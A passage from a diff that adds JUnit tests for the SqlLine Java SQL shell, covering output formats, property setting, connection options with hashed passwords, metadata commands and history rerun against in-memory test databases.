+    final String script = "!outputformat csv \"'\" @\n"
+        + "values ('#', '@#@', 1, date '1969-07-20', null, ' 1''2\"3\t4');\n"
+        + "!outputformat csv & default\n"
+        + "values ('#', '@#@', 1, date '1969-07-20', null, ' 1''2\"3\t4');\n";
+    final String line1 = "@C1@'@C2@'@C3@'@C4@'@C5@'@C6@";
+    final String line2 =
+        "@#@'@@@#@@@'@1@'@1969-07-20@'@@'@ 1'2\"3\t4@";
+    final String line3 = "'C1'&'C2'&'C3'&'C4'&'C5'&'C6'";
+    final String line4 =
+        "'#'&'@#@'&'1'&'1969-07-20'&''&' 1''2\"3\t4'";
+
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString(line1), containsString(line2),
+            containsString(line3), containsString(line4)));
+  }
+
+  @Test
+  public void testSetForNulls() {
+    final String script = "!set numberFormat null\n"
+        + "!set\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("numberFormat        null"));
+  }
+
+  @Test
+  public void testSetNonIntValuesToIntProperties() {
+    SqlLine sqlLine = new SqlLine();
+    final String headerIntervalScript = "!set headerinterval abc\n";
+    checkScriptFile(headerIntervalScript, false, equalTo(SqlLine.Status.OK),
+        containsString(sqlLine.loc("not-a-number", "headerinterval", "abc")));
+
+    final String rowLimitScript = "!set rowlimit xxx\n";
+    checkScriptFile(rowLimitScript, false, equalTo(SqlLine.Status.OK),
+        containsString(sqlLine.loc("not-a-number", "rowlimit", "xxx")));
+  }
+
+  @Test
+  public void testSelectXmlAttributes() {
+    final String script = "!set outputformat xmlattr\n"
+        + "values (1, -1.5, 1 = 1, date '1969-07-20', null, ']]> 1''2\"3\t<>&4');\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("<resultset>"),
+            containsString("<result C1=\"1\" C2=\"-1.5\" C3=\"TRUE\" "
+                + "C4=\"1969-07-20\" C5=\"null\" "
+                + "C6=\"]]&gt; 1'2&quot;3\t&lt;>&amp;4\"/>")));
+  }
+
+  @Test
+  public void testSelectXmlElements() {
+    final String script = "!set outputformat xmlelements\n"
+        + "values (1, -1.5, 1 = 1, date '1969-07-20', null, ' ]]>1''2\"3\t<>&4');\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("<resultset>"),
+            containsString("<result>"),
+            containsString("<C1>1</C1>"),
+            containsString("<C2>-1.5</C2>"),
+            containsString("<C3>TRUE</C3>"),
+            containsString("<C4>1969-07-20</C4>"),
+            containsString("<C5>null</C5>"),
+            containsString("<C6> ]]&gt;1'2\"3\t&lt;>&amp;4</C6>"),
+            containsString("</result>"),
+            containsString("</resultset>")));
+  }
+
+  @Test
+  public void testTablesJson() {
+    final String script = "!set outputformat json\n"
+        + "!tables\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("{\"resultset\":["),
+            containsString("{\"TABLE_CAT\":\"PUBLIC\","
+                + "\"TABLE_SCHEM\":\"SYSTEM_LOBS\",\"TABLE_NAME\":\"BLOCKS\","
+                + "\"TABLE_TYPE\":\"SYSTEM TABLE\",\"REMARKS\":null,"
+                + "\"TYPE_CAT\":null,")));
+  }
+
+  @Test
+  public void testSelectJson() {
+    final String script = "!set outputformat json\n"
+        + "values (1, -1.5, 1 = 1, date '1969-07-20', null, ' 1''2\"3\t4');\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("{\"resultset\":["),
+            containsString("{\"C1\":1,\"C2\":-1.5,\"C3\":true,"
+                + "\"C4\":\"1969-07-20\",\"C5\":null,"
+                + "\"C6\":\" 1'2\\\"3\\t4\"}")));
+  }
+
+  @Test
+  public void testNullValue() {
+    final String script = "!set nullValue %%%\n"
+        + "!set outputformat csv\n"
+        + "values (NULL, -1.5, null, date '1969-07-20', null, 'null');\n"
+        + "!set nullValue \"'\"\n"
+        + "values (NULL, -1.5, null, date '1969-07-20', null, 'null');\n"
+        + "!set nullValue null\n"
+        + "values (NULL, -1.5, null, date '1969-07-20', null, 'null');\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        CoreMatchers.allOf(containsString("'C1','C2','C3','C4','C5','C6'"),
+            containsString("'%%%','-1.5','%%%','1969-07-20','%%%','null'"),
+            containsString("'C1','C2','C3','C4','C5','C6'"),
+            containsString("'''','-1.5','''','1969-07-20','''','null'"),
+            containsString("'C1','C2','C3','C4','C5','C6'"),
+            containsString("'null','-1.5','null','1969-07-20','null','null'")));
+  }
+
+  @Test
+  public void testTimeFormat() {
+    // Use System.err as it is used in sqlline.SqlLineOpts#set
+    final PrintStream originalErr = System.err;
+    try {
+      final ByteArrayOutputStream errBaos = new ByteArrayOutputStream();
+      System.setErr(
+          new PrintStream(errBaos, false, StandardCharsets.UTF_8.name()));
+
+      // successful patterns
+      final String okTimeFormat = "!set timeFormat HH:mm:ss\n";
+      final String defaultTimeFormat = "!set timeFormat default\n";
+      final String okDateFormat = "!set dateFormat YYYY-MM-dd\n";
+      final String defaultDateFormat = "!set dateFormat default\n";
+      final String okTimestampFormat = "!set timestampFormat default\n";
+      final String defaultTimestampFormat = "!set timestampFormat default\n";
+
+      // successful cases
+      final SqlLine sqlLine = new SqlLine();
+      sqlLine.runCommands(new DispatchCallback(), okTimeFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), defaultTimeFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), okDateFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), defaultDateFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), okTimestampFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), defaultTimestampFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+
+      // failed patterns
+      final String wrongTimeFormat = "!set timeFormat qwerty\n";
+      final String wrongDateFormat = "!set dateFormat ASD\n";
+      final String wrongTimestampFormat =
+          "!set timestampFormat 'YYYY-MM-ddTHH:MI:ss'\n";
+
+      // failed cases
+      sqlLine.runCommands(new DispatchCallback(), wrongTimeFormat);
+      assertThat(errBaos.toString("UTF8"),
+          containsString("Illegal pattern character 'q'"));
+      sqlLine.runCommands(new DispatchCallback(), wrongDateFormat);
+      assertThat(errBaos.toString("UTF8"),
+          containsString("Illegal pattern character 'A'"));
+      sqlLine.runCommands(new DispatchCallback(), wrongTimestampFormat);
+      assertThat(errBaos.toString("UTF8"),
+          containsString("Illegal pattern character 'T'"));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    } finally {
+      // Set error stream back
+      System.setErr(originalErr);
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/203">[SQLLINE-203]
+   * !indexes command fails because of Hive bug</a>.
+   * The bug in question is
+   * <a href="https://issues.apache.org/jira/browse/HIVE-20938">[HIVE-20983]
+   * HiveResultSetMetaData.getColumnDisplaySize throws for SHORT column</a>.
+   *
+   * @param meta Mocked hsqldb {@link JDBCResultSetMetaData} to use in the test
+   */
+  @Test
+  public void testOutputWithFailingColumnDisplaySize(
+      @Mocked final JDBCResultSetMetaData meta) {
+    try {
+      new Expectations() {
+        {
+          meta.getColumnCount();
+          result = 3;
+
+          meta.getColumnLabel(1);
+          result = "TABLE_CAT";
+
+          meta.getColumnLabel(2);
+          result = "TABLE_SCHEM";
+
+          meta.getColumnLabel(3);
+          result = "TABLE_NAME";
+
+          meta.getColumnDisplaySize(1);
+          result = new Exception("getColumnDisplaySize exception");
+        }
+      };
+
+      SqlLine sqlLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      PrintStream sqllineOutputStream =
+          new PrintStream(os, false, StandardCharsets.UTF_8.name());
+      sqlLine.setOutputStream(sqllineOutputStream);
+      sqlLine.setErrorStream(sqllineOutputStream);
+      String[] args = {
+          "-d",
+          "org.hsqldb.jdbcDriver",
+          "-u",
+          "jdbc:hsqldb:res:scott",
+          "-n",
+          "SCOTT",
+          "-p",
+          "TIGER"
+      };
+      DispatchCallback callback = new DispatchCallback();
+      sqlLine.initArgs(args, callback);
+      FieldReflection.setFieldValue(
+          sqlLine.getClass().getDeclaredField("initComplete"), sqlLine, true);
+      sqlLine.getConnection();
+      sqlLine.runCommands(callback,
+          "!set incremental true",
+          "!set maxwidth 80",
+          "!set verbose true",
+          "!indexes");
+      assertThat(os.toString("UTF8"), not(containsString("Exception")));
+    } catch (Throwable e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Tests the {@code !connect} command with interactive password submission.
+   */
+  @Test
+  public void testConnectWithoutPassword() {
+    new MockUp<sqlline.Commands>() {
+      @Mock
+      String readPassword(String url) {
+        return "";
+      }
+    };
+    SqlLine beeLine = new SqlLine();
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      SqlLine.Status status =
+          begin(beeLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc,
+          "!set maxwidth 80",
+          "!set incremental true");
+      beeLine.runCommands(dc, "!connect "
+          + ConnectionSpec.H2.url + " "
+          + ConnectionSpec.H2.username);
+      beeLine.runCommands(dc, "!tables");
+      String output = os.toString("UTF8");
+      final String expected = "| TABLE_CAT | TABLE_SCHEM | "
+          + "TABLE_NAME | TABLE_TYPE | REMARKS | TYPE_CAT | TYP |";
+      assertThat(output, containsString(expected));
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(beeLine.isExit());
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Tests the {@code !connect} command passing in the password in as a hash,
+   * and using h2's {@code PASSWORD_HASH} property outside of the URL:
+   *
+   * <blockquote>
+   * !connect -p PASSWORD_HASH TRUE jdbc:h2:mem sa 6e6f6e456d707479506173737764
+   * </blockquote>
+   */
+  @Test
+  public void testConnectWithDbPropertyAsParameter() {
+    SqlLine beeLine = new SqlLine();
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      SqlLine.Status status =
+          begin(beeLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc,
+          "!set maxwidth 80",
+          "!set incremental true");
+      String fakeNonEmptyPassword = "nonEmptyPasswd";
+      final byte[] bytes =
+          fakeNonEmptyPassword.getBytes(StandardCharsets.UTF_8);
+      beeLine.runCommands(dc, "!connect "
+          + " -p PASSWORD_HASH TRUE "
+          + ConnectionSpec.H2.url + " "
+          + ConnectionSpec.H2.username + " "
+          + StringUtils.convertBytesToHex(bytes));
+      beeLine.runCommands(dc, "!tables");
+      String output = os.toString("UTF8");
+      final String expected = "| TABLE_CAT | TABLE_SCHEM | "
+          + "TABLE_NAME | TABLE_TYPE | REMARKS | TYPE_CAT | TYP |";
+      assertThat(output, containsString(expected));
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(beeLine.isExit());
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Tests the {@code !connect} command passing in the password in as a hash,
+   * and using h2's {@code PASSWORD_HASH} and {@code ALLOW_LITERALS} properties
+   * outside of the URL:
+   *
+   * <blockquote>
+   * !connect -p PASSWORD_HASH TRUE -p ALLOW_LITERALS NONE
+   * jdbc:h2:mem sa 6e6f6e456d707479506173737764
+   * </blockquote>
+   */
+  @Test
+  public void testConnectWithDbPropertyAsParameter2() {
+    SqlLine beeLine = new SqlLine();
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      SqlLine.Status status =
+          begin(beeLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc, "!set maxwidth 80");
+      String fakeNonEmptyPassword = "nonEmptyPasswd";
+      final byte[] bytes =
+          fakeNonEmptyPassword.getBytes(StandardCharsets.UTF_8);
+      beeLine.runCommands(dc, "!connect "
+            + " -p PASSWORD_HASH TRUE -p ALLOW_LITERALS NONE "
+            + ConnectionSpec.H2.url + " "
+            + ConnectionSpec.H2.username + " "
+            + StringUtils.convertBytesToHex(bytes));
+      beeLine.runCommands(dc, "select 1;");
+      String output = os.toString("UTF8");
+      final String expected = "Error:";
+      assertThat(output, containsString(expected));
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(beeLine.isExit());
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Tests the {@code !connect} command passing the password in as a hash:
+   *
+   * <blockquote>
+   * !connect "jdbc:h2:mem; PASSWORD_HASH=TRUE" sa 6e6f6e456d707479506173737764
+   * </blockquote>
+   */
+  @Test
+  public void testConnectWithDbProperty() {
+    SqlLine beeLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    SqlLine.Status status =
+        begin(beeLine, os, false, "-e", "!set maxwidth 80");
+    assertThat(status, equalTo(SqlLine.Status.OK));
+    DispatchCallback dc = new DispatchCallback();
+
+    try {
+      beeLine.runCommands(dc, "!set maxwidth 80");
+
+      // fail attempt
+      String fakeNonEmptyPassword = "nonEmptyPasswd";
+      beeLine.runCommands(dc, "!connect \""
+            + ConnectionSpec.H2.url
+            + " ;PASSWORD_HASH=TRUE\" "
+            + ConnectionSpec.H2.username
+            + " \"" + fakeNonEmptyPassword + "\"");
+      String output = os.toString("UTF8");
+      final String expected0 = "Error:";
+      assertThat(output, containsString(expected0));
+      os.reset();
+
+      // success attempt
+      final byte[] bytes =
+          fakeNonEmptyPassword.getBytes(StandardCharsets.UTF_8);
+      beeLine.runCommands(dc, "!connect \""
+            + ConnectionSpec.H2.url
+            + " ;PASSWORD_HASH=TRUE;ALLOW_LITERALS=NONE\" "
+            + ConnectionSpec.H2.username + " \""
+            + StringUtils.convertBytesToHex(bytes)
+            + "\"");
+      beeLine.runCommands(dc, "!set incremental true");
+      beeLine.runCommands(dc, "!tables");
+      output = os.toString("UTF8");
+      final String expected1 = "| TABLE_CAT | TABLE_SCHEM | "
+          + "TABLE_NAME | TABLE_TYPE | REMARKS | TYPE_CAT | TYP |";
+      assertThat(output, containsString(expected1));
+
+      beeLine.runCommands(dc, "select 5;");
+      output = os.toString("UTF8");
+      final String expected2 = "Error:";
+      assertThat(output, containsString(expected2));
+      os.reset();
+
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      output = os.toString("UTF8");
+      assertThat(output,
+          allOf(not(containsString("Error:")), containsString("!quit")));
+      assertTrue(beeLine.isExit());
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  private static PrintStream getPrintStream(OutputStream os) {
+    try {
+      return new PrintStream(os, false, StandardCharsets.UTF_8.name());
+    } catch (UnsupportedEncodingException e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testReconnect() {
+    final String script = "!reconnect";
+    final String expected = "Reconnecting to \"jdbc:hsqldb:res:scott\"...\n"
+        + "Closing: org.hsqldb.jdbc.JDBCConnection";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString(expected));
+  }
+
+  @Test
+  public void testTables() {
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set maxcolumnwidth 15\n"
+        + "!set incremental true\n"
+        + "!tables\n";
+    final String line0 =
+        "|    TABLE_CAT    |   TABLE_SCHEM   |   TABLE_NAME    |   TABLE_TYPE    |      |";
+    final String line1 =
+        "| PUBLIC          | SYSTEM_LOBS     | BLOCKS          | SYSTEM TABLE    |      |";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString(line0), containsString(line1)));
+  }
+
+  @Test
+  public void testTablesH2() {
+    connectionSpec = ConnectionSpec.H2;
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set incremental true\n"
+        + "!tables\n";
+    final String line0 = "| TABLE_CAT | TABLE_SCHEM | TABLE_NAME |";
+    final String line1 =
+        "| UNNAMED   | INFORMATION_SCHEMA | CATALOGS   | SYSTEM TABLE";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString(line0), containsString(line1)));
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/107">[SQLLINE-107]
+   * Script fails if the wrong driver is specified with -d option
+   * and there is a valid registered driver for the specified url</a>.
+   *
+   */
+  @Test
+  public void testTablesH2WithErrorDriver() {
+    connectionSpec = ConnectionSpec.ERROR_H2_DRIVER;
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set incremental true\n"
+        + "!tables\n";
+    final String line0 = "| TABLE_CAT | TABLE_SCHEM | TABLE_NAME |";
+    final String line1 =
+        "| UNNAMED   | INFORMATION_SCHEMA | CATALOGS   | SYSTEM TABLE";
+    final String message = "Could not find driver "
+        + connectionSpec.driver
+        + "; using registered driver org.h2.Driver instead";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        CoreMatchers.allOf(containsString(message),
+            not(containsString("NullPointerException")),
+            containsString(line0),
+            containsString(line1)));
+  }
+
+  @Test
+  public void testH2TablesWithErrorUrl() {
+    connectionSpec = ConnectionSpec.ERROR_H2_URL;
+    final String script = "!tables\n";
+
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        CoreMatchers.allOf(containsString("No suitable driver"),
+            not(containsString("NullPointerException"))));
+  }
+
+  @Test
+  public void testEmptyMetadata() {
+    final String script = "!metadata\n";
+    final String line = "Usage: metadata <methodname> <params...>";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString(line), not(containsString("Exception"))));
+  }
+
+  /** Tests that methods inherited from Object are not included in the list
+   * of possible metadata methods. */
+  @Test
+  public void testPossibleMetadataValues() {
+    final String script = "!metadata 1\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString("allProceduresAreCallable"),
+            containsString("getIndexInfo"),
+            not(containsString("Exception")),
+            not(containsString("equals")),
+            not(containsString("notify")),
+            not(containsString("wait")),
+            not(containsString("toString")),
+            not(containsString("hashCode")),
+            not(containsString("notifyAll"))));
+  }
+
+  @Test
+  public void testMetadataForClassHierarchy() {
+    final SqlLine beeLine = new SqlLine();
+
+    new MockUp<JDBCConnection>() {
+      @Mock
+      public DatabaseMetaData getMetaData() throws SQLException {
+        return new CustomDatabaseMetadata(
+            (JDBCConnection) beeLine.getConnection());
+      }
+    };
+
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      SqlLine.Status status =
+          begin(beeLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc, "!connect "
+          + ConnectionSpec.HSQLDB.url + " \""
+          + ConnectionSpec.HSQLDB.username + "\" \""
+          + ConnectionSpec.HSQLDB.password + "\"");
+      os.reset();
+      beeLine.runCommands(dc, "!tables");
+      String output = os.toString("UTF8");
+      assertThat(output,
+          allOf(containsString("TABLE_CAT"),
+              not(containsString("No such method \"getTables\""))));
+    } catch (Exception e) {
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testEmptyRecord() {
+    final String line = "Usage: record <file name>";
+    checkScriptFile("!record", true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString(line), not(containsString("Exception"))));
+  }
+
+  @Test
+  public void testEmptyRun() {
+    final String line = "Usage: run <file name>";
+    checkScriptFile("!run", true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString(line), not(containsString("Exception"))));
+  }
+
+  @Test
+  public void testEmptyScript() {
+    final String line = "Usage: script <file name>";
+    checkScriptFile("!script", true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString(line), not(containsString("Exception"))));
+  }
+
+  @Test
+  public void testEscapeSqlMultiline() {
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set maxColumnWidth 15\n"
+        + "!set escapeOutput yes\n"
+        + "values \n"
+        + "('\n"
+        + "multiline\n"
+        + "value') \n"
+        + ";\n";
+    final String line1 = ""
+        + "+-----------------+\n"
+        + "|       C1        |\n"
+        + "+-----------------+\n"
+        + "|  \\nmultiline \\nvalue |\n"
+        + "+-----------------+\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString(line1));
+  }
+
+  @Test
+  public void testSqlMultiline() {
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set incremental true \n"
+        + "!sql \n"
+        + "values \n"
+        + "(1, 2) \n"
+        + ";\n";
+    final String line1 = ""
+        + "+-------------+-------------+\n"
+        + "|     C1      |     C2      |\n"
+        + "+-------------+-------------+\n"
+        + "| 1           | 2           |\n"
+        + "+-------------+-------------+";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString(line1));
+  }
+
+  @Test
+  public void testAllMultiline() {
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set incremental true \n"
+        + "!all \n"
+        + "values \n"
+        + "(1, '2') \n"
+        + ";\n";
+    final String line1 = ""
+        + "+-------------+----+\n"
+        + "|     C1      | C2 |\n"
+        + "+-------------+----+\n"
+        + "| 1           | 2  |\n"
+        + "+-------------+----+";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString(line1));
+  }
+
+  @Test
+  public void testAppInfoMessage() {
+    Pair pair = run("-e", "!set maxwidth 80");
+    assertThat(pair.status, equalTo(SqlLine.Status.OK));
+    assertThat(pair.output,
+        containsString(Application.DEFAULT_APP_INFO_MESSAGE));
+
+    String[] args = {"-e", "!set maxwidth 80", "-ac", "INCORRECT_CLASS_NAME"};
+    pair = run(args);
+    assertThat(pair.output,
+        containsString("Could not initialize INCORRECT_CLASS_NAME"));
+    assertThat(pair.output,
+        containsString(CustomApplication.DEFAULT_APP_INFO_MESSAGE));
+
+    String[] args2 = {"-e", "!set maxwidth 80",
+        "-ac", "sqlline.extensions.CustomApplication"};
+    pair = run(args2);
+    assertThat(pair.output,
+        containsString(CustomApplication.CUSTOM_INFO_MESSAGE));
+  }
+
+  @Test
+  public void testCustomOutputFormats() {
+    // json format was removed
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!set outputformat json\n"
+        + "values 1;";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("Unknown outputFormat \"json\""));
+  }
+
+  @Test
+  public void testCustomCommands() {
+    // table command was removed
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!tables";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Unknown command: tables"));
+  }
+
+  @Test
+  public void testAppConfigReset() {
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!appconfig sqlline.Application\n"
+        + "!tables";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("TABLE_CAT"));
+  }
+
+  @Test
+  public void testCustomOpts() {
+    // nulls are displayed as custom_null
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "values(null)";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("custom_null"));
+  }
+
+  @Test
+  public void testScanForEmptyAllowedDrivers() {
+    new MockUp<CustomApplication>() {
+      @Mock
+      public List<String> allowedDrivers() {
+        return Collections.emptyList();
+      }
+    };
+
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!scan";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("No driver classes found"));
+  }
+
+  @Test
+  public void testScanForOnlyH2Allowed() {
+    new MockUp<CustomApplication>() {
+      @Mock
+      public List<String> allowedDrivers() {
+        return Collections.singletonList("org.h2.Driver");
+      }
+    };
+
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!scan";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("yes       1.4     org.h2.Driver"),
+                not(containsString("org.hsqldb.jdbc.JDBCDriver"))));
+  }
+
+  @Test
+  public void testScanForOnlyHsqldbAllowed() {
+    new MockUp<CustomApplication>() {
+      @Mock
+      public List<String> allowedDrivers() {
+        return Collections.singletonList("org.hsqldb.jdbc.JDBCDriver");
+      }
+    };
+
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!scan";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("yes       2.4     org.hsqldb.jdbc.JDBCDriver"),
+            not(containsString("org.h2.Driver"))));
+  }
+
+  @Test
+  public void testVersion() {
+    final String script = "!set\n";
+    try {
+      checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+          containsString(new Application().getVersion()));
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testSetVersion() {
+    final String script = "!set version test-version\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("version property is read only"));
+  }
+
+  @Test
+  public void testSetPropertySuccess() {
+    final String script = "!set timeout\n"
+        + "!set timeout 200\n"
+        + "!set timeout";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("timeout             -1"),
+            containsString("timeout             200")));
+  }
+
+  @Test
+  public void testSetPropertyFailure() {
+    final String script = "!set unk";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Specified property [unk] does not exist."
+            + " Use !set command to get list of all available properties."));
+  }
+
+  @Test
+  public void testSetUsage() {
+    final String script = "!set 1 2 3";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Usage: set [all | <property name> [<value>]]"));
+  }
+
+  @Test
+  public void testSetWrongValueToEnumTypeProperties() {
+    Collection<BuiltInProperty> propertiesWithAvailableValues =
+        Arrays.stream(BuiltInProperty.values())
+            .filter(t -> !t.getAvailableValues().isEmpty())
+            .collect(Collectors.toSet());
+    final String wrongValue = "wrong_value";
+    for (BuiltInProperty property: propertiesWithAvailableValues) {
+      final String script =
+          "!set " + property.propertyName() + " " + wrongValue + "\n";
+      checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+          allOf(
+              containsString("Unknown " + property.propertyName() + " \""
+                  + wrongValue + "\""),
+              not(containsString("Exception"))));
+    }
+  }
+
+  @Test
+  public void testResetSuccess() {
+    final String script = "!set timeout 200\n"
+        + "!reset timeout";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("[timeout] was reset to [-1]"));
+  }
+
+  @Test
+  public void testResetFailure() {
+    final String script = "!reset unk";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Specified property [unk] does not exist."
+            + " Use !set command to get list of all available properties."));
+  }
+
+  @Test
+  public void testResetAll() {
+    final String script = "!set timeout 200\n"
+        + "!reset all\n"
+        + "!set timeout";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("All properties were reset to their defaults."),
+            containsString("timeout             -1")));
+  }
+
+  @Test
+  public void testResetUsage() {
+    final String script = "!reset";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Usage: reset (all | <property name>)"));
+  }
+
+  @Test
+  public void testRerun() {
+    final SqlLine beeLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    final File tmpHistoryFile = createTempFile("tmpHistory", "temp");
+    try (BufferedWriter bw =
+             new BufferedWriter(
+                 new OutputStreamWriter(
+                     new FileOutputStream(tmpHistoryFile),
+                     StandardCharsets.UTF_8))) {
+      bw.write("1536743099591:SELECT \\n CURRENT_TIMESTAMP \\n as \\n c1;\n"
+          + "1536743104551:!/ 4\n"
+          + "1536743104551:!/ 5\n"
+          + "1536743104551:!/ 2\n"
+          + "1536743104551:!/ 7\n"
+          + "1536743107526:!history\n"
+          + "1536743115431:!/ 3\n"
+          + "1536743115431:!/ 8\n");
+      bw.flush();
+
+      SqlLine.Status status = begin(beeLine, os, true,
+          "--historyfile=" + tmpHistoryFile.getAbsolutePath(),
+          "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc,
+          "!set incremental true",
+          "!set maxcolumnwidth 30",
+          "!connect "
+              + ConnectionSpec.H2.url + " "
+              + ConnectionSpec.H2.username + " "
+              + "\"\"");
+      os.reset();
+
+      beeLine.runCommands(dc, "!/ 1");
+      String output = os.toString("UTF8");
+      final String expected0 = "+----------------------------+";
+      final String expected1 = "|             C1             |";
+      final String expected2 = "1 row selected";
+      assertThat(output,
+          allOf(containsString(expected0),
+              containsString(expected1),
+              containsString(expected2)));
+      os.reset();
+
+      beeLine.runCommands(dc, "!/ 4");
